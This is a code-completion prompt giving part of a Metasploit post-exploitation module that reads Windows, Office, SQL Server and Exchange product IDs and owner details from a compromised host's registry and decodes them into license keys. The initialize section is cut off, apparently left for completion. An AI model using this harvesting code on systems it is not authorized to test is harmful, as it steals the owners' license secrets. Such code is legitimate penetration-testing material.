You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: enum_ms_product_keys.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
    
  def app_list
    tbl = Rex::Text::Table.new(
      'Header' => 'Keys',
      'Indent' => 1,
      'Columns' =>
        [
          'Product',
          'Registered Owner',
          'Registered Organization',
          'License Key'
        ]
    )

    keys = [
      [ 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'DigitalProductId4' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Office\\11.0\\Registration\\{91110409-6000-11D3-8CFE-0150048383C9}', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-00CA-0000-0000-0000000FF1CE}', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-0014-0000-0000-0000000FF1CE}', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-0051-0000-0000-0000000FF1CE}', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-0053-0000-0000-0000000FF1CE}', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\100\\Tools\\Setup', 'DigitalProductId' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\90\\ProductID', 'DigitalProductId77654' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\90\\ProductID', 'DigitalProductId77574' ],
      [ 'HKLM\\SOFTWARE\\Microsoft\\Exchange\\Setup', 'DigitalProductId' ],
    ]

    wow64 = !sysinfo.nil? && sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86

    keys.each do |keyx86|
      # parent key
      p = keyx86[0, 1].join

      # child key
      c = keyx86[1, 1].join

      if wow64
        keychunk = registry_getvaldata(p, c, REGISTRY_VIEW_64_BIT)
        appname = registry_getvaldata(p, 'ProductName', REGISTRY_VIEW_64_BIT)
        rowner = registry_getvaldata(p, 'RegisteredOwner', REGISTRY_VIEW_64_BIT)
        rorg = registry_getvaldata(p, 'RegisteredOrganization', REGISTRY_VIEW_64_BIT)
      else
        keychunk = registry_getvaldata(p, c)
        appname = registry_getvaldata(p, 'ProductName')
        rowner = registry_getvaldata(p, 'RegisteredOwner')
        rorg = registry_getvaldata(p, 'RegisteredOrganization')
      end

      next if keychunk.nil?

      key = decode(keychunk.unpack('C*'))

      next if key.nil?

      tbl << [
        appname.nil? ? p : appname,
        rowner.to_s,
        rorg.to_s,
        key
      ]
    end